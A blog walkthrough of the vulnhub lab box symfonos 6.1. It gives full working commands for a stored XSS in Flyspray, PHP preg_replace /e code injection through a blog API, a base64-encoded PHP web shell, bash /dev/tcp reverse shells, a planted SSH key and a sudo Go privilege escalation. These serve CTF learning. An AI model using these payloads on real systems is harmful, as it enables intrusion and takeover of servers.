Trickery Index

symfonos 6.1 walkthrough

Posted at — Jul 19, 2020

The schmuck’s about to get it


I’ve been going through vulnhub lately in search of some well thought-out boxes, and the recent symfonos series by Zayotic has been a source of quite some fun. While the first five of the currently available six machines had walkthroughs up online I didn’t feel I had much to add to, the last one doesn’t seem to at the moment, so I decided to remedy that, as it’s certainly a tale worth telling.


The box comes with a warning about Virtualbox having some issues with it, though for me it worked fine - I guess I had to change the default network adapter to Host-Only, but that was about it in terms of a setup. The description also mentions that we’d have to search for the machine’s Achilles heel, which would mean that the initial foothold, at least the intended one, is probably going to be slim; well, the box starts, getting the IP address in my case, and off we go:


Launching nmap -sV -sC as is the custom gives us a list of SSH, Apache running on port 80, serving an obligatory for the series image, a recent Gitea running on 3000 and what seems to be some custom HTTP app serving port 5000.

Let’s start with ffuf -u -ic -w /opt/SecLists/Discovery/Web-Content/directory-list-1.0.txt in the background tab while we’re taking a look at the latter two. About everything the Gitea tells us is that there are two registered users, achilles and zayotic, while the server at 5000 doesn’t seem to be exposing any guessable endpoints:

The Gitea users page
The Gitea users page

The sad 404 on port 5000
The sad 404 on port 5000

However, ffuf finishes with a couple more findings at the port 80:

posts                   [Status: 301, Size: 234, Words: 14, Lines: 8]
flyspray                [Status: 301, Size: 237, Words: 14, Lines: 8]

Checking both, we can see /posts leading us to a custom blog with nothing interesting on it at a glance, but /flyspray predictably points to a Flyspray server with user registration allowed and a single visible bug report, having an admin comment on it that rather seems to suggest we’ve found our Achilles’ heel:

The sad blog at /posts
The sad blog at /posts

The obvious XSS target at /flyspray
The obvious XSS target at /flyspray

This was where I left ffuf working on /posts and the port 5000 just in case, but that won’t be touched upon in this write-up anymore, as, armed with the full power of hindsight, we move on to

The obvious XSS exploitation

Although Flyspray doesn’t seem to be exposing the version of the software (at least not where I could find it), searching for it on exploitdb immediately presents us with a possible path for versions up to 1.0-rc4:

ri@ri-base-lab:~/work/symfonos6$ searchsploit flyspray
----------------------------------------------------- ---------------------------------
 Exploit Title                                       |  Path
----------------------------------------------------- ---------------------------------
Flyspray 0.9 - Multiple Cross-Site Scripting Vulnera | php/webapps/26400.txt
FlySpray 0.9.7 - 'install-0.9.7.php' Remote Command  | php/webapps/1494.php
Flyspray 0.9.9 - Information Disclosure/HTML Injecti | php/webapps/31326.txt
Flyspray 0.9.9 - Multiple Cross-Site Scripting Vulne | php/webapps/30891.txt
Flyspray - Cross-Site Request Forgery        | php/webapps/18468.html
FlySpray 1.0-rc4 - Cross-Site Scripting / Cross-Site | php/webapps/41918.txt
Mambo Component com_flyspray < 1.0.1 - Remote File D | php/webapps/2852.txt
----------------------------------------------------- ---------------------------------
Shellcodes: No Results

After examining the exploit with searchsploit -x 41918, we have enough information for a quick vulnerability check. Let’s register a user putting "><script>alert('hello!');</script> in the Real name field:

Testing for XSS
Testing for XSS

Logging in and going to the user profile page, we’re greeted with

Hello from XSS
Hello from XSS

Now that we know Flyspray to be vulnerable, let’s serve the exploit script and feed it to the admin account, changing the Real name into "><script src=""></script> and leaving a dummy comment on the bug report page:


After waiting a minute, we have our catch:

ri@ri-base-lab:~$ python3 -m http.server
Serving HTTP on port 8000 ( ... - - [19/Jul/2020 16:43:25] "GET /exp.js HTTP/1.1" 200 -

Now, following the exploit, we can log in as hacker with password 12345678 and enjoy all the new-found power, which as it turns out there isn’t much of, as there doesn’t seem to be a way to upload a web shell or really do anything fun at all. But in the list of bug reports, we see a new lead:

A new lead
A new lead

Following Achilles

Grabbing the creds, we can try out logging in via SSH to see that password logins have been disabled, sensibly:

ri@ri-base-lab:~/work/symfonos6$ ssh achilles@
achilles@ Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

Still, they do fit for the Gitea server, where we can browse two repositories now - symfonos_blog, a small php blog evidently being hosted at /posts, and symfonos-api, the REST API which seems to be serving port 5000. What’s more, they share a database, and blog posts may be added, updated and deleted using the API after a simple authentication process - and it is nice indeed, considering the first thing we notice looking into index.php for symfonos_blog is the following snippet:

    while ($row = mysqli_fetch_assoc($result)) {
    $content = htmlspecialchars($row['text']);

    echo $content;

    preg_replace('/.*/e',$content, "Win");

Now this, my friends, is a prime example of some truly magical ✧・゚: ✧・゚: CTF bullshit! :・゚✧:・゚✧

✧・゚: ✧・゚: Magical CTF bullshit :・゚✧:・゚✧

As Zayotic is being quite a fine gentleman in making the classic /e modifier trick available to us on a silver platter as a clear-cut example of outdated custom stuff living on a server, we should be happy to oblige. To newcomers, anything in the text field of a post will get executed as a callback for the regular expression - and that’s basically it, we just have to figure out how to bypass the htmlspecialchars() above robbing us of our ampersands and brackets.

But first, to edit the post, we have to get the auth token from the API. After rummaging through the Go source code to figure out the endpoints, we concoct the right curl incantation and try the same creds that led us here:

ri@ri-base-lab:~$ curl -H "Content-Type: application/json" "" -d '{"username":"achilles","password":"h2sBr9gryBunKdF9"}'; echo

Hooray for password reuse! With the token, we can update the existing post; keeping in mind that we won’t be able to see the result of the execution, let’s try creating a delay to check if it works:

ri@ri-base-lab:~$ curl -H "Content-Type: application/json" -X PATCH "" -b "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1OTU4MTQxNDMsInVzZXIiOnsiZGlzcGxheV9uYW1lIjoiYWNoaWxsZXMiLCJpZCI6MSwidXNlcm5hbWUiOiJhY2hpbGxlcyJ9fQ.9M-q0fDbp5RsjqzASEiyvDVRe8jsfpaPlwWnzg4G8cE" -d '{"text":"sleep(10);"}'; echo

Reloading the blog page, we see that it indeed waits for ten seconds before rendering. Now we’ll attempt to put a new file in the blog directory (note that we can’t use double quotes in our command, and when using single quotes we have to use $'' syntax in the requests as bash is notoriously quirky around them):

ri@ri-base-lab:~$ curl -H "Content-Type: application/json" -X PATCH "" -b "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1OTU4MTQxNDMsInVzZXIiOnsiZGlzcGxheV9uYW1lIjoiYWNoaWxsZXMiLCJpZCI6MSwidXNlcm5hbWUiOiJhY2hpbGxlcyJ9fQ.9M-q0fDbp5RsjqzASEiyvDVRe8jsfpaPlwWnzg4G8cE" -d $'{"text":"file_put_contents(\'test\', \'right in the heel\');"}'; echo
{"created_at":"2020-04-02T04:41:22-04:00","id":1,"text":"file_put_contents('test', 'right in the heel');","user":{"display_name":"achilles","id":1,"username":"achilles"}}
ri@ri-base-lab:~$ curl -s > /dev/null # trigger execution
ri@ri-base-lab:~$ curl; echo
right in the heel

It works! So the web server user has write access to the directory. Remembering the htmlspecialchars() constraint, we’ll drop the web shell base64-encoded:

ri@ri-base-lab:~$ echo '<?php system($_GET["cmd"]); ?>' | base64
ri@ri-base-lab:~$ curl -H "Content-Type: application/json" -X PATCH "" -b "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1OTU4MTQxNDMsInVzZXIiOnsiZGlzcGxheV9uYW1lIjoiYWNoaWxsZXMiLCJpZCI6MSwidXNlcm5hbWUiOiJhY2hpbGxlcyJ9fQ.9M-q0fDbp5RsjqzASEiyvDVRe8jsfpaPlwWnzg4G8cE" -d $'{"text":"file_put_contents(\'shell.php\', base64_decode(\'PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==\'));"}'; echo
{"created_at":"2020-04-02T04:41:22-04:00","id":1,"text":"file_put_contents('shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg=='));","user":{"display_name":"achilles","id":1,"username":"achilles"}}
ri@ri-base-lab:~$ curl -s > /dev/null # trigger execution
ri@ri-base-lab:~$ curl ""
uid=48(apache) gid=48(apache) groups=48(apache)

Time to nc -lvp 5555 in another tab and finally pop the shell:

ri@ri-base-lab:~$ curl -G "" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/ 0>&1'"

... in the next tab ...

ri@ri-base-lab:~$ nc -lvp 5555
listening on [any] 5555 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 58266
bash: no job control in this shell

Reaching for root

We probably should check right away if achilles’ UNIX password is, again, h2sBr9gryBunKdF9:

bash-4.2$ su achilles
[achilles@symfonos6 posts]$

It is, so we add our .ssh/ to achilles.ssh/authorized_keys and reconnect with SSH:

[achilles@symfonos6 posts]$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9abUQ8MwimBVkOOmy9SXukbIgghXuBcjkSZFadqTPbnbjj4NnVQQxHo3Fi9g0OFzC8WbujGgPYjMrsQnES8BM6Et4cwmTIHTGd/x/w9CgFKomN/UXDdp6yBk4O/BRSbR+xIckowqyoYEKsRYIELCwUZxcyQJoTfWBEbq3hWk5XLrmNjgmCz8dwAVY13Gv8nnJauUdfeRbxEktX1HgxHwNCSBrD5Cz0WoZQj8OLGqT9D4jXINjo72+XTkXog9jp9TCc/1GoALITCYqY+WgXSvr+I2BSnyBkPxGJ5Hxq2JsakUBmXhp7u9GF/5vC5ykE4x4zLvY3cRAbJPLU1/KIX5Z ri@ri-base-lab" >> ~/.ssh/authorized_keys
[achilles@symfonos6 posts]$ exit
bash-4.2$ exit

ri@ri-base-lab:~$ ssh achilles@
Last login: Sun Jul 19 23:38:19 2020
[achilles@symfonos6 ~]$

Now, we could employ LinPEAS or LinEnum for the privesc assessment, but in this particular case doing sudo -l turns out to be exactly enough:

[achilles@symfonos6 ~]$ sudo -l
Matching Defaults entries for achilles on symfonos6:
    !visiblepw, always_set_home, match_group_by_gid, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User achilles may run the following commands on symfonos6:
    (ALL) NOPASSWD: /usr/local/go/bin/go

Looks like all that’s left is writing a Go program to get us root. The simplest way is probably establishing another reverse shell:

package main

import ("os/exec")

func main() {
    exec.Command("bash", "-c", "bash -i >& /dev/tcp/ 0>&1").Run()

Putting the program in exp.go and running nc -lvp 5555 in a tab again, we do:

[achilles@symfonos6 ~]$ sudo /usr/local/go/bin/go run exp.go

... in the next tab ...

ri@ri-base-lab:~$ nc -lvp 5555
listening on [any] 5555 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 58490
[root@symfonos6 achilles]# cd /root
cd /root
[root@symfonos6 ~]# ls
[root@symfonos6 ~]# cat proof.txt
cat proof.txt

           Congrats on rooting symfonos:6!
           _,,_,*^____      _____``*g*\"*,
          / __/ /'     ^.  /      \ ^@q   f
         [  @f | @))    |  | @))   l  0 _/
          \`/   \~____ / __ \_____/    \
           |           _l__l_           I
           }          [______]           I
           ]            | | |            |
           ]             ~ ~             |
           |                            |
            |                           |
     Contact me via Twitter @zayotic to give feedback!

And we’re done!

The final word

My deepest thanks to the man himself, @zayotic, who did a great job building these beautiful boxes - in my opinion, some of the better ones at, and beched for the much-appreciated gifts of wisdom during the inevitable fumbling around the obvious XSS exploitation part while trying to livestream the proceedings. I hope the series is going to continue, and will probably follow with the write-ups if it does.

The lab machine I use in my work is built with Vagrant scripts hosted at